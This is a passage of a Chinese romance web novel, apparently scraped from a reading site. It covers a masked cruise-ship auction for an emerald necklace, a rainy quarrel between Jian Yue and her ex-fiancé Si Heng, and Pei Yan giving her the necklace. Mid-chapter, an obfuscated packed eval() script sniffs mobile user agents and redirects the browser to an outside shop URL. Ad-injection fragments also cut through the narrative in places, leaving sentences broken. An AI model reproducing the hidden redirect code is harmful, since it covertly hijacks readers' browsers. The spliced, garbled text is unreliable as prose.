这显然是一次大胆的尝试。 除此之外,他还说已经和张导谈过,张导表示没有异议。 简月看着剧本沉思许久,说:“我也没有异议。” 原著她看过,她相信那是个好故事。 尽量按原著拍的剧也有先例,后来那部剧口碑大爆,长尾效应持续至今。 况且,在了解过裴言每一次决策的结果后,亲眼看过他和司衡的竞拍后,简月开始相信,裴言的眼光是不会错的。 男人似乎没想到她这么果断,准备的资料和说辞瞬间失去用武之地。 半晌,他唇角浅浅上扬:“那就这样。如果筹备顺利,两个月后就可以开始选角,三个月后正式开机。” 简月放下剧本,同样一笑:“好。” * 时间很快来到周六。 为拍卖会定制的礼服昨天就已经送到,简月抱着礼服来到试衣间,开始换衣服。 礼服是一条黑色抹胸长裙,用料高级而有质感,极衬她的身材。 她换好衣服,对着镜子前后看了看,又开始盘发戴首饰。 她平时很少盘发,今晚特意盘起来,一方面是为了配裙子的大气优雅,一方面则是为了更少的人认出她来,毕竟面具的作用十分有限。 打扮好后,简月拿着车钥匙下了地库,换了一辆平时不怎么开的车上路。 七点,简月开车到江边不远处,已经能看到江面上那艘庞大的绿洲号了。 游轮上上下下高达四层,灯火通明,将附近照得亮若白昼。 还有一个小时才开始拍卖,但船上的氛围已经十分热闹了。 看来人不少。 简月取出一张黑色羽毛点缀的面具戴上,下车关门,步行向游轮的方向走去。 * “司总。”刚结束完一个会议,助理追上步履匆匆的司衡,“刚才李总打了电话过来,说今晚想和您见一面,聊聊《星河》的事,您是否要见?” 司衡脚步未停:“推了。今晚我有事,改天。” 顿了顿,接着道:“对了,今晚没什么事了,你下班吧。” 助理立刻停下:“好的司总。” 来到办公室,司衡放下文件,换好衣服,拿着R.R.的邀请函和车钥匙离开了办公室。 开着车一路紧赶慢赶,终于在七点四十五分的时候停在了绿洲号游轮附近。 十天前他收到邀请函,一眼就注意到了图册上的绿宝石项链。 他记得这个项链——简月说过,她喜欢,她想要。 在一起三年,他很清楚简月对这条项链念念不忘了多久。 她想要,所以他会想办法得到然后送给她的。 ——即使分手后简月全面拉黑了他的账号,即使她一次好脸色都没给过他,即使她为了报复他站在裴言那一边,即使她恨他。 是啊,他伤害了她,她恨他那是天经地义。 可他爱她。 哪怕打着补偿的名义,他也想捧着她喜欢的东西来到她面前,只为讨她开心,只为换她一个笑容。 夜色渐深,司衡取出面具戴好,仔细理了理领带和袖口,带着邀请函登上了游轮。 许是拍卖时间将近,甲板上人不多,不少人都选择去大厅等待开始。 司衡拿起一杯酒,不动声色地扫视了一圈甲板上的人。 蓦地,一袭飞扬的黑色长裙出现在他视线中。 女人的长发高高盘起,露出修长白皙的脖颈,她拿着一杯酒,独自站在甲板的栏杆旁,静静望着远处的江面。 即使有黑色面具做遮挡,司衡还是一眼认出了她是谁。 那是原本该和他结婚、该和他过一辈子的人。 他的前女友,简月。 11. 骄傲-11% 简月上到甲板的时候,扑面而来的风让她一瞬间有些眩晕。 今晚的船似乎晃得厉害。 她仰起头,只见星月黯淡,天微阴,似乎要下雨的样子。 不是个好天。 她心里隐隐生出不安。 游轮上摆满了酒水,华服如云,简月拿起一杯酒,向船舱内的大厅走去。 今年的拍卖布置与往年无异,一层中央是主持叫价和展示藏品的地方,以中央为圆心,周围是观众席,不参与拍卖的人可随意找地方坐,位置不固定,随时入座,随时离开。 二三层环绕一层大厅,设计成看台——这便是真正参与拍卖出价的地方。 为了保护个人隐私,看台上的所有座位都有单独的隔间,如果有人想要出价,只需进入一个无人的隔间输入数字即可。 若出价成功,会有R.R.的工作人员带上四层核对身份,若出价失败,则可自行离开。 拍卖期间,所有人都没有固定的位置,即使一个隔间对不同的藏品均有出价,里面也有可能是完全不同的人。 在保护隐私这一点上,R.R.显然重视到了极致。 大厅放眼望去,是一张张颜色形状各异的面具,有人独自等待,也有人三三两两聚在一起聊着什么。 简月转了一圈,大致熟悉了一遍拍卖流程,离开船舱回到了甲板上。 沁凉的风吹来,总算舒服了一点。 ——舱内没有风,船又在晃,她总觉得里面闷得慌。 这期间,偶尔有人上前搭讪,言语之间表露出对她的兴趣,简月淡淡一笑,一一回绝。 R.R.既然要求戴面具入场,她就不打算向任何人表露身份。 她的目标只是那条项链而已。 七点五十五,拍卖即将开始,登船的通道已经关闭。 有工作人员来到她身边提醒:“女士,因天气因素,今晚的出海行程已经取消,现在拍卖即将开始,您可以根据需要参加拍卖了。” 简月回头,这才发现甲板上只剩下寥寥几人,大部分都已进了船舱。 她点头,迈步向里走去。 来到大厅,一层的观众席已被占满,没有座位的人要么去了二三层,要么靠在墙边选择观望。 简月思考了一下,向楼梯的方向走去。 她记得那条项链的位置很靠前,就在第三个。 为了稳妥,还是提前上楼找个位子安心一些。 楼梯在入口处的另一边,简月侧着身子从人群中穿过,就在离楼梯还有几步远的时候,她看到一个男人的身影,脚步一停。 一股烦躁的情绪涌了上来。 男人一身高定西装,大半张脸被银色面具遮住,可他的身形和走路的姿态,都让简月那么熟悉。 司衡? 他怎么会在这里? 以她对他的了解,他可没有兴趣拍卖这些首饰藏品。 ……是为了那个女人? 还是她看错了? 可没等她确认,男人脚步匆匆,已消失在人群中。 突然的插曲让简月的心情差了不少,她伸手扶上墙壁,闭眼平复了下情绪,才继续向前走去。 就算司衡是为了那个女人。 也已经与她无关了。 她没必要为一个前男友生气。 已经成为过往的人,不值得。 简月上到三层,走进一个空隔间,关门上了锁。 只要里面上锁,外面就会显示“有人”,不会再有人来打扰。 她在隔间内坐下,透过玻璃看向大厅中央。 第一件拍卖物是一枚戒指,由于工艺普通,被R.R.用来暖场,不多时就竞价结束,成交价仅六十万。 第二件是一对袖扣,极具观赏性,主持拿出实物展示完一圈,陆续有人心动,离开观众席上到二三层开始出价。 一番激烈的出价后,最终以三百万的价格成交。 很快来到第三件,祖母绿宝石项链。 随着主持拿着实物开始展示,简月的心跳都慢了些。 项链上的绿宝石散发出柔和的光芒,还是如初见那般美丽。 她每多看它一眼,想拥有它的心就热切一分。 这条项链的市值在八百万上下浮动,上一次的成交价是八百四十万,这一次她准备了一千二百万,只要在这个范围内,哪怕亏一点她也要拿下。 拍卖很快开始,主持宣布起拍价,一百万。 简月在平板上写下数字,首先出价:“三百万。” 主持看一眼面前的屏幕,叫价:“三十七号,三百万。” 陆续有人跟价,主持看着屏幕不断叫价。 “五号,三百二十万。” “十一号,三百五十万。” “二号,四百万。” …… 简月咬牙,写下一个高价。 主持:“三十七号,七百万!” 场内有人发出惊呼。 刚才竞价的人不再跟价,大厅内一时安静了几秒。 简月紧紧盯着主持人,等着他继续叫价,下一秒,却从他口中听见了一个新的数字。 “二十三号,八百万。” 简月顿时气恼,继续跟价。 “三十七号,八百五十万。”主持喊道。 然而二十三号也不甘示弱,仿佛跟她杠上了一般,无论她怎么加价,二十三号都会在五秒后多加五十万。 “二十三号,九百万。” “三十七号,九百三十万。” “二十三号,九百八十万。” “三十七号,一千万。” “二十三号,一千零五十万。” “……” 简月的手因为紧张开始发抖。 为什么,明明已经超过市价了,二十三号为什么一直不依不饶地在跟着她加价? 全场已没有人再对这条项链出价,只剩她和二十三号。 难道二十三号不知道亏损吗? 她深吸一口气,颤抖着写上最后一个数字。 主持看着屏幕:“三十七号,一千二百万。” 一千二百万,这是她的上限。 无论之后有没有人再加价,她都不会再继续出价。 几年前她不够果断,因此错失这条项链。 几年后她做好了所有的心理建设,如果还是错过……那大约是缘分不够吧。 她是喜欢这条项链,可她也不至于为了一件首饰如此败家。 五秒后,二十三号如前几次一样,不紧不慢地加了五十万。 简月的心彻底沉下。 她愣怔好一会儿,看着屏幕上显示的一千二百五十万,自嘲弯了弯唇角。 这条项链,到底是不能为她所有。 她起身打算离开,身后的平板却响起新的提示音。 ——又有人加价了。 简月呆了一下,不可置信地重新看向屏幕。 主持的声音响彻大厅:“三十五号,一千五百万!” 竟然还有人出价! 本以为这条项链要属于二十三号了,没想到有人出了更疯狂的价。 一千五百万已经逼近市值的两倍了! 她重新坐下,不由开始好奇这场竞价的最终结果。 二十三号显然也是始料未及,不再像之前一样不紧不慢地五秒后出价,而是立刻跟了上去——“二十三号,一千六百万。” 众人的惊呼也是一声跟着一声。 简月看着两人的竞价,一时忘了自己的失落,只觉得荒唐又离谱。 一条项链,何至于此? 但一千六百万还没完,二十三号和三十五号仿佛较上劲一般,接连出价,眨眼从一千六抬到了两千万。 在场所有人,包括简月,都有些看傻了。 竞价到这种地步,似乎已经不是简单的喜欢了。 而是势在必得,不惜代价也要得到它。 她突然觉得,自己在一千两百万就败下阵来,好像也不是很亏了。 主持继续叫价:“三十五号,两千一百万。” 这一次,二十三号终于沉寂下来。 一秒,两秒……十五秒。 两千一百万一次,两千一百万两次。 两千一百万,成交! 一直到最后宣布成交,二十三号都没有再写下新的数字。 简月在座位上呆坐许久,才渐渐消化这个事实。 哦,二十三号也输了。 赢家是三十五号。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13747487|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他是谁,竟然愿意以市价两倍多的价格买一条项链? 成交结果宣布以后,简月失去了再待下去的欲望,她推开隔间的门,下了楼梯,第三次回到甲板上。 甲板上的风更大了。 江面汹涌,游轮晃动的幅度也越来越大。 她抓着甲板边的栏杆,深深吐出一口气。 她觉得自己最近有点倒霉。 喜欢的东西一件接一件失去,人也是,项链也是。 人就算了,连东西也…… 她想不通,为什么一条价值几百万的项链,最后会抬到两千多万。 呼啸的风渐渐掺了雨丝,冰凉的雨点落在她胳膊上。 身后响起脚步声。 一步,两步,离她越来越近。 简月扶着栏杆,慢吞吞回头望去。 看清来人后,她的手指微不可察地颤了几下。 男人一身裁剪得体的西装,脸上一张银色面具,赫然是她上楼前见过的那个身影。 现在离得近了,她终于确定他是谁了。 真的是司衡。 没由来的,她脑海里闪过那个女人对着他说怀孕了的画面。 心也在这时传来刺痛的感觉。 很轻,只有一下,可也让人无法忽视。 男人继续向她走近,或许是光线原因,她竟然在他眼中读出了一丝愧疚。 愧疚? 他是该愧疚。 简月转过身站好,嗤笑一声:“你怎么在这儿?” “我是……”司衡喉结滚了滚,一向果决的人竟也变得吞吞吐吐起来,“我是来买那条项链的。” “我知道你想要它,所以打算买来送给你。” 想起最后竞价的二十三号和三十五号,简月皱眉:“你是三十五号?” “不是。”他声音微微发涩,“我最近资金不宽裕,没抢过他。” …… 明白过来他就是二十三号,简月立刻抿紧唇,竭力提醒自己要保持冷静。 可笑,太可笑了。 他明知道她喜欢那条项链,为什么还要一次次地加价耍她? 他以为这样就能补偿她吗? 可他背叛了她,无论他送什么,无论他送的东西她有多喜欢,经过他的手,她也只会觉得恶心,只会觉得脏。 她深呼吸几下,盯着他慢慢道:“耍我很好玩吗?一次次地加价,你就非要来凑这个热闹?” “我只是想补偿你。” “够了!”简月耐心尽失,“你不要再来烦我了好吗?就算那条项链你真的拍到了,我也不会喜欢,我只会觉得它经过你的手,变得和你一样脏。” “……脏?”司衡的唇白了一些,“你是这么想的?” “不然呢?”简月冷笑,“她都怀孕了,你难道还觉得自己很干净吗?” 男人的眼神瞬间冷下来:“你怎么会知道她怀孕了?谁告诉你的?” 雨越飘越大,简月看着他的脸,只觉得他已经变得面目全非,哪里还有半点温柔说“不分手”的模样。 她深吸一口气:“滚,我不想看见你。” 司衡没有动。 他眼神变得复杂,轻声开口:“不管你信不信,我爱的人只有你一个。” 说完上前,脱下外套要为她披上:“下雨了,先进去吧,别淋感冒了。” 随着两人距离的骤然拉近,简月忽觉一阵反胃,忍不住侧过身,面向江面。 船体摇摇晃晃,那种眩晕的感觉更厉害了。 而这个动作在司衡看来,就像是默认。 外套挨上肩膀,残留的温热体温顿时让简月回了神,她咬牙,不知哪里来的力气推了男人一把。 接着从他手里扯走外套,反手从船上扔了下去。 外套像一块破布坠了下去,落水的声音很快淹没在风里。 而两人身后的不远处,一个戴着黑色面具的男人看到这一幕,停下了脚步。 又急又密的雨点顺着头发和面具滑落,裴言握紧手里的首饰盒,眼神第一次流露出近乎失控的妒意。 一男一女在雨中拉扯,爱也激烈,恨也激烈。 没有半分他的插足之地。 最终,他向后退了几步,转身离开。 12. 骄傲-12% 大雨倾盆,身上的长裙渐渐湿透,简月抹了一把下巴上的水,冷冷出声:“司衡,你能不能不要再做出这幅余情未了的样子了,你以为你是段正淳和犬夜叉吗,谁在你身边你就爱谁?你这样对我,她知道吗?” 雨水打在甲板和栏杆上,噼啪作响,整个船舱外早已空无一人。 “那又如何。”没了外套,司衡的衬衫也很快被雨打湿,他笑了笑,目光灼灼,“她图的也不是我。” 简月一时无言以对。 在一起三年,她竟没发现司衡的感情观如此低劣。 他既对不起她,也对不起那个女人。 “你有病。”最后她这么说道。 “有病,大约是吧。”他喃喃,“既然不能在一起,那你恨我,也是好的。” 他的语气软了几分,像是在恳求:“雨太大了,这样下去你会感冒的,我们先进去好不好?你要是气不过,进去后打我一巴掌都可以。” 司衡想上前拉她,又被她发了狠地一把推开。 “与你无关,你要滚就快点滚,我不会和你一起走的。” 男人被推得后退几步,定定看她几眼,开口:“好,你不想和我一起,那我走,我走了你就可以进去了吧?” “阿月。” “如果几分钟后你还在甲板上淋雨,我扛也要把你扛进去。” 简月转过头去,没有说话。 司衡终于离开。 脚步声远去,简月又抹了一把脸上的雨,还是没有动。 长裙湿漉漉地贴在身上,又重又不舒服。 寒意渐渐渗透全身,简月抱着胳膊,忍不住打了个冷颤。 她想起从前。 第一次见司衡的时候,她还是刚回国不久的小姑娘,而他已经是创世的一把手。 她听了简怀英的话,跑去片场围观自家投资的剧,正好撞见一个男演员借亲密戏骚扰女演员。 男演员咖位大,没人敢说什么,更何况那是戏中。 女演员咖位低,也只能选择忍耐。 她看不下去,上前打断了拍摄,恶狠狠地警告了一番男演员,还直言如果有不满,就让创世的总裁亲自来找她讨说法。 而这几句话正好落入前来探班的司衡耳中。 被人群簇拥着的男人,正站在片场入口处,面无表情地瞧她。 那时的简月还不认识他就是总裁本人,但根据片场鸦雀无声的反应也判断出——她这是撞枪口上了。 在场所有人都替她捏了一把冷汗,被骚扰的女演员甚至在身后悄悄扯她的衣袖,说“算了吧”。 但简月没有算了,她昂起头,毫不露怯地直视着司衡:“你要找我讨说法吗?” 创世不缺他们一家投资,他们简家也并非只有创世的剧可以投资。 简怀英说,他们简家不需要向任何人低头。 最后的结果,是司衡慢步走向她,发出一声极轻的笑,而后越过她,对男演员放出狠话——再有下次,创世会让他直接走人。 简月愣了愣。 被骚扰的女演员,叫姜予彤。 她就是在那一天,同时认识了司衡和姜予彤。 从那天起,司衡开始频繁出现在她面前。 有意的,无意的。 所有人都看出来司衡在追她。 或许是因为初见时他的偏袒,简月并不排斥他的追求,抱着试一试的心态,她同意了和他在一起。 都说创世的总裁不近女色,难以接近,可在简月眼里,他实在太好说话。 好说话到不像一个雷厉风行的总裁。 他望向她的目光总是带着笑意,总把“她好可爱”挂在嘴边,尽可能地满足着她每一个要求。 所以她动过心。 她觉得他高大帅气,觉得他处理工作的样子果决又迷人,觉得他站在自己身后时,温柔又耐心。 她真的开始一点点喜欢上司衡。 也正是因为她动了心,她才会同意和他订婚。 可是,谁能想到。 她想不通司衡怎么会变成这个样子。 他竟然能一边说着爱她,一边和别的女人有了孩子。 孩子,孩子…… 就这么重要? 简月的身体抖得越来越厉害,却说不清是冷的还是气的。 亦或者是,痛的。 船体又是一阵摇晃,简月连忙扶住一旁的栏杆。 头晕的感觉越来越强烈了。 眼前的景象天旋地转,她觉得自己的腿一会儿像灌了铅一样往下坠,一会儿又像一团棉花,轻飘飘的不受她控制。 她松开一只手取出手机,颤巍巍地给一个人打字发消息。 简月:[我刚刚好像看到你了。] 简月:[你也来拍卖会了吗?] 简月:[如果你在的话,能不能来扶我一把。] 她连路都走不动了。 可如果再待下去,一定会被司衡…… 发完消息,简月松开栏杆,试图向船舱内走去。 可没走几步,她就仿佛失去力气一般,向前栽去。 冰凉的雨点不断砸在她身上,她的视线越来越模糊。 在彻底闭上眼前,她看到一个身影朝她踉跄而来。 简月最后的意识,是她被一个人抱了起来。 不是司衡,是…… 一个陌生的怀抱。 * 再醒来是在沙发上。 简月睁开眼,嗓子干得厉害,身上也微微发烫。 她想伸手摸一摸自己的额头,却提不起半分力气。 她忍不住叹气,果然是发烧了。 可说来也奇怪,在雨中和司衡发泄完一通,她积压在心里的负面情绪好像疏散了不少。 不再像前段时间一样总觉得心里闷闷的,堵得慌,做什么事都不能真正开心。 至少,她是彻底看清司衡了。 从前的一切,都是她鬼迷了心窍。 她望着天花板,思绪慢吞吞地转了几瞬,身侧就响起一个男人的声音。 “醒了?” 听出这个声音是谁,简月僵了僵,慢吞吞转头看他。 裴言一身黑色西装,长腿交叠,坐在她旁边的沙发上,面无表情地看着她。 见她看过来,他伸手将桌上的水推向她一点,声音淡淡:“水。” 男人的声音和表情看起来都没有任何起伏,可简月却有种微妙的直觉——他的心情不太好。 脑海里闪过摔倒前的一幕。 大雨,踉跄而来的身影,颤抖的双手,冰冷的怀抱。 简月看着桌上的水沉默几秒,看看裴言,看看水,又看看裴言。 如此反复几次,男人终于明白过来她的意思,眉心微微一动:“你要我喂你?” 简月点头:“手没劲儿。” 话一出口才发现声音都哑了几分。 “不介意?”男人又问。 简月摇头。 他抱她的时候可没问她介不介意。 如今抱都抱过了,再问这种小事,是不是有点……多此一举? 于是裴言上前扶着她坐起一点,端了水喂她。 喝完水,他又扶着她重新躺下,顺便帮她将毯子往上拉了拉。 做完这一切,裴言又在沙发上坐了下来。 然后沉默。 显然没有要走的意思。 简月觉得他好奇怪。 安静几秒,她开口:“这是哪儿?” “R.R.的接待室,我帮你暂时借用了。” “是吗,现在几点了?” “早上五点。”男人黑漆漆的眸看向她,“你睡了一晚上。” “哦,我发烧了,能帮我递下手机吗?我让人买点药过来接我。” “不用了,药在桌子上,你已经吃过一次了,等会儿你可以直接带走。” 简月茫然地眨了眨眼,难怪她感觉症状不如以往严重,但是半夜喂药,是谁喂的? 还有她的衣服,又是谁换的? 似是知道她想问什么,男人移开视线,先她一步道:“是R.R.的工作人员帮你喂的,衣服也是工作人员帮你换的。” “哦……”简月迟钝地点了下头,再次说道,“那你能帮我递下手机吗?我让人来接我。” 裴言又沉默了。 好半晌,才听到他轻飘飘地开口:“就这么喜欢他?” “……”简月一时没反应过来,或者说,听到了但不敢相信,她下意识反问,“什么?”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “下雨了,不知道躲吗,就算你为他伤心,有必要淋雨自虐吗。” 他一字一字,说得很慢。 像是竭力维持,才能维持住面上的平静。 简月愣愣看着他:“你想多了吧?” 事情的起因难道不是司衡一直在烦她还不肯离开吗? 否则在雨刚落下来的时候,她就应该回到船舱了。 她强调:“我不喜欢他了,怎么可能因为他淋雨自虐?” 这话说完,男人脸上的神情明显一僵。 他换了个坐姿,说:“那就好,否则你和前任纠缠不清,我还要担心我们的合作。” 简月心里奇怪的感觉更重了。 她总觉得今天的裴言哪儿哪儿都不对劲儿。 较之往常,他今日的话尖锐了不少,尤其对于司衡,有种藏都藏不住的敌意。 为什么? 联想起她晕倒前看到的那幕,一个不可思议的猜测在简月心中升起。 “你今天好奇怪。”简月说。 裴言:“……” 简月继续说:“对了,我还没问你,你不是说周六有安排吗?怎么又过来了?” “看上一个东西,所以来了。” “哦,买到了吗?” “……”他的视线重回落回到她身上,一向平静的眼睛里多了些说不清道不明的情绪,“买到了。” 那种感觉,不像看一个泛泛之交,也不像看一个合作伙伴,更像是,一个男人看着一个女人的眼神。 被他用那样的目光看着,简月大脑一空,一时不知道接下来该说什么。 “那你呢?你想要的东西买到了吗?”裴言接着道。 “……”项链被抢走的事情又被重新勾起,简月默了默,回答道,“没有。” 她勉强挤出一个笑容:“倒霉吧,让你看笑话了。” 倒霉就算了,偏偏最近的倒霉事还都被裴言看见了。 “简月。”男人忽然叫她的名字,极轻极温柔的一声,唤回了她的思绪。 他从身后拿出一个首饰盒,然后来到她面前蹲了下来。 “这是你想要的东西吗?” 首饰盒打开,露出里面的祖母绿宝石项链。 柔和的光芒,完美的净度和切工,简月一眼就认出,这是她两次都没有拍到的那条项链。 她的心忽然重重一跳。 原来是他。 竟然是他。 三十五号,是裴言。 “送给你。”他说。 这是简月第一次体会到,什么叫失而复得。 不知是不是病中情绪脆弱的缘故,她看着绿宝石项链,突然眼睛一热。 好像之前失去项链的失落、得知司衡一直在加价耍她的愤怒,都在看到这条项链的瞬间,烟消云散了。 “送给我?”她重复。 两千一百万,这可不是小数目。 更何况他们……分明没什么交集。 “嗯,送给你。你不是想要吗,我帮你抢过来了。” “为什么?” “没有为什么,两千万而已,我还不缺这点钱。” 男人说完站起身,合上首饰盒放在她旁边,接着拿起她的手机递给她:“你可以叫人来接你了。” “好好养病,等你病好了我们再谈其他的。” 她想说点什么,想说谢谢,可那些话却像堵在嘴边一样,就是无法说出口。 说“谢谢”,然后呢,裴言回她一个“不客气”? 这样的客套话还不如不说。 她觉得她应该说些什么,可她又不知道该说什么。 她越来越觉得,那个不可思议的猜测可能是真的。 可如果是真的,她应该怎么面对裴言? 裴言……又想要她什么样的回应? 直到关门声响起,简月都没有说出一个字来。 裴言离开后,简月拿起手机,先给白叔打了个电话,然后打开微信,对着和姜予彤的对话框犹豫。 良久,她开始打字。 简月:[也许是我自恋,但是我觉得。] 她咬了咬唇,一条消息删删减减几次,才终于发出去。 简月:[裴言可能喜欢我。] 13. 骄傲-13% 姜予彤大约在忙,没有立刻回消息。 简月放下手机,又浅浅睡了过去。 二十分钟后,接待室的门打开,白叔走了进来。 他跟了简怀英和江颖几十年,做事向来稳妥细心,简月睁眼看清是谁,又放心地闭上眼。 额头还发着低烧,她身上没劲儿,不知怎的就是想睡觉。 白叔来到沙发旁蹲下,声音透着心疼:“大小姐,好好的您怎么会发烧呢?” 她闭着眼笑笑:“没事,就是昨天贪凉穿少了,又淋了点雨,过几天就好了。” “那我带您回家吧?夫人她很担心你。” 想起江颖,简月心里一柔,点点头。 随后白叔叫来跟在后面的阿姨,扶她上了车,自己又收拾好招待室里的东西,开车带她回了家。 江颖早早等在门口,从阿姨手中接过她,扶她回房间躺下,然后又取了药过来喂她。 吃完药,江颖摸了摸她的头,心疼道:“睡一会儿吧,妈妈在这儿呢。” 简月又点点头。 许是回到家,母亲又在身边,她这一觉睡得踏实了不少。 再睁眼醒来时,已经是傍晚了。 落日的余晖打进房间里,简月望着天花板,之前的事一点点涌入脑海。 项链,裴言,裴言可能喜欢她…… 她想起什么,拿起枕边的手机,果然看到了姜予彤回的消息。 姜予彤:[???] 姜予彤:[你俩好像才见过几面吧,他这就喜欢你了?] 姜予彤:[他干什么了让你觉得他喜欢你?] 姜予彤:[还是说他是颜狗?] 看到“颜狗”两个字,简月忍不住笑了下。 颜狗?应该不是。 这世界上长得好看的人多了去了,也没见他多有兴趣。 比如那天给他递烟的女人——她就长得很好看,可裴言也没有与她更进一步。 简月:[你什么时候有空,我打电话给你说吧。] 发完消息,她摸了下自己的额头,已经不怎么烫了,身体也没之前那么软绵绵了,至少有力气坐直站起来了。 姜予彤一时半会儿没回消息,简月放下手机坐起来,打算找点东西吃。 睡了一天一夜,她现在饿得厉害。 推开卧室门,一眼就看到楼下沙发上的简怀英和江颖。 同时,他们听到声响,也朝楼上望了过来。 江颖首先站起来,关切道:“月月,好点了吗?要不要下来吃点东西?” 简怀英则在一旁叫来阿姨,低声交代了几句。 简月点点头,向楼下走去。 晚饭很快准备好,一家人难得坐在一起安安静静吃了一顿饭。 简怀英和江颖关心了她几句,让她多注意身体,简月笑着回了几句。 饭后,江颖叫住她,目露担忧:“月月,你是不是最近心情不好?是不是司衡的事还在让你不高兴?不然好好的,你怎么会把自己淋病了呢。” 正准备回房间休息的简月听到这话,不由一怔。 似乎是江颖这么一提,她才发现自从和司衡分手后,她一直都很不开心。 一直都觉得心里压抑得慌,闷得慌。 只是她告诉自己,司衡这种人不值得她伤心,然后忽略了这种情绪而已。 但也正是因为江颖这一提,她又发现,那种不开心不知什么时候消失了。 她的心里好像没那么堵了,也没那么容易因为司衡而疲惫了。 就比如现在,她的心情貌似还不错? 意识到这一点,简月忽然有点高兴,回头笑着对江颖道:“没事的妈,我早就不喜欢他了,你放心吧,那我先回房间啦。” 江颖还在斟酌用词,想怎么安慰她,一抬眼又见简月这幅模样,忍不住摇摇头,笑叹了口气。 看来她已经没事了。 * 回到房间,简月挑了部电影躺在床上看。 电影放到一半,手机响起新的消息提示音,她拿过来看,是姜予彤的消息。 姜予彤:[我刚拍完今天的戏,现在有空了,你呢,现在方便吗?] 简月直接拨了电话过去:“当然方便。” 对面罕见地静了两秒才说话:“怎么,你遇到什么好事了?” “你怎么知道?” “语气啊,飘得不像话。从你分手后,我还是第一次听你这么开心。” 有这么明显? 简月微微一怔,接着回道:“因为——你还记不记得我以前跟你提过的绿宝石项链?” “记得啊,你不是说被人拍走……等等。”姜予彤反应过来,“最近好像就有R.R.的拍卖会,是不是它重现江湖被你拍到了?” 说话的功夫,简月已将枕边的首饰盒拿了起来。 她打开盒子,看着里面的项链,轻轻感慨:“是啊,真的很好看。” 之前都是隔着图片和玻璃,这是她第一次这么近距离地欣赏这条项链。 浓郁的翠绿色,似天地间的一抹山水画。 当真是每看每惊艳。 “难怪啊。”姜予彤笑着问,“花了多少钱拍到的?” “两千一百万。” 姜予彤:“???” “但不是我拍的。”简月补充,“是……有人拍下来送给我的。” “……” “裴言?”姜予彤终于猜出什么,声音呆滞地问道。 “对……” 当裴言打开首饰盒蹲在她面前时,她的震惊程度并不亚于姜予彤,是以简月很能理解现在的姜予彤。 “他怎么,他是,他……”姜予彤犹处于震惊中,一句话说了半天才说顺畅,“他花了两千多万拍下的项链,就这么送给你了?” “对,你也觉得很不可思议是不是?” 好一会儿,姜予彤才找回自己的声音:“你是因为这个才觉得他喜欢你?” “不止。”简月顿了顿,继续说,“还有他的手机密码是0722,还有他抱了我。” 对面似乎被接二连三的事实震惊得失声了,久久都没有发出声音。 简月等了一会儿,反问:“你觉得呢?” “……你怎么知道他的手机密码是0722?” “就是我和司衡分手那天,我不是说我捡错手机了吗?” “你捡错的手机是他的?然后你顺其自然输入了自己的密码,发现解锁成功了?”姜予彤飞快接道。 “对。” “我靠。”姜予彤终于忍不住了,“那你说的他抱你,又是怎么回事?” 说完又迷惑道:“我是进组了几年吗?怎么才几天的功夫,你俩之间就发生了这么多事,又是抱你又是送礼物的,一掷千金啊他这是。” 这件事简月也百思不得其解,解释道:“我昨天遇到司衡,跟他吵了一架,淋了点雨,好不容易把他打发走,就有点晕船了,晕船反胃不舒服,我没走几步就栽了,然后。” 回忆着那个模糊的画面,她继续道:“我很确信,在我脸着地前,裴言抱住了我。” 虽然她很快就失去了意识,但她记得,男人气息陌生,指尖冰冷,抱起她的双手颤抖不止,不像是冷的,更像是害怕。 害怕失去很重要的人。 可惜这种感觉只有一瞬,可惜她当时没再坚持几秒。 “晕船?那你现在好点了吗?” “好了呀,我这不是好好地在跟你说话吗?”简月拉回话题,“当时我看到他的手机密码,只以为是巧合,但经过昨天的事,我不觉得是巧合了。” 她问:“你觉得,裴言是不是喜欢我?” “按你的描述,确实挺像的,可是……”姜予彤发出困惑的声音,茫然道,“不应该啊,你们又不熟,他怎么会突然喜欢你呢?” “或者!”她一惊,想起另一种可能性,“他想利用你来愚弄司衡?” “也不对啊。”接着又自说自话地否决,“司衡都把你绿了,在裴言的视角,就算你俩之间发生点什么,司衡也不会再在意了啊。” 分析完一通都没个结果,姜予彤反问起她:“阿月,要不你再想想呢,你和裴言真的是最近才认识的?你之前真的没和他说过话,也没见过他?” 简月认真想了一番,肯定道:“没有。” 姜予彤陷入了自我怀疑。 简月见她这幅样子,叹气道:“算啦,想不出来就算了,你明天还要早起,要不先去休息?” “嗯……也行,不过我有个问题想问你。” “你希望他喜欢你,还是不希望他喜欢你?” 希望,还是不希望? 简月想了想,发现她两边都不算。 如果这一切都是她的错觉,实际他不喜欢她,那她也没什么所谓; 如果这一切不是错觉,他真的喜欢她,她好像也不排斥。 想完后,简月说:“好像都可以,要不我问问他?” 手机里瞬间传来倒吸一口气的声音,姜予彤说:“我天呐,可千万别,他肯定不会承认的,你问也是白问,还容易尴尬。” “那我要是想知道他喜不喜欢我呢?我怎么才能知道?”简月看着盒子里的项链道。 “咦,你怎么突然对他这么好奇?” 因为——直觉告诉她,裴言真的喜欢她,而她很好奇他喜欢她的理由。 她还记得裴言拿出这条项链时,看向她的眼神。 一闪而过的深刻感情下,是几分克制。 就像那个雨夜,他撑伞向她走来一样。 冥冥之中她就是有种直觉,裴言看她的眼神并不清白;就是有种直觉,裴言已经喜欢她很久了。 而这个很久,她却不知从何而来。 “假如,我是说假如,他真的喜欢我,我想知道他为什么喜欢我。”简月说。 “好像也对。”姜予彤若有所思道,“如果他真的喜欢你,那他对你的感情确实挺莫名其妙的。” 想了想,她继续:“那简单啊,你找几个机会试探他不就好了。像什么,他会不会对你有求必应,会不会包容你的任性,会不会排斥和你的身体接触,会不会帮你剔鱼刺,会不会收你的钱什,对了对了,还有你提起别的男人时,他会不会吃醋嫉妒。” “喜欢一个人嘛,总是藏不住的,多多少少 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = 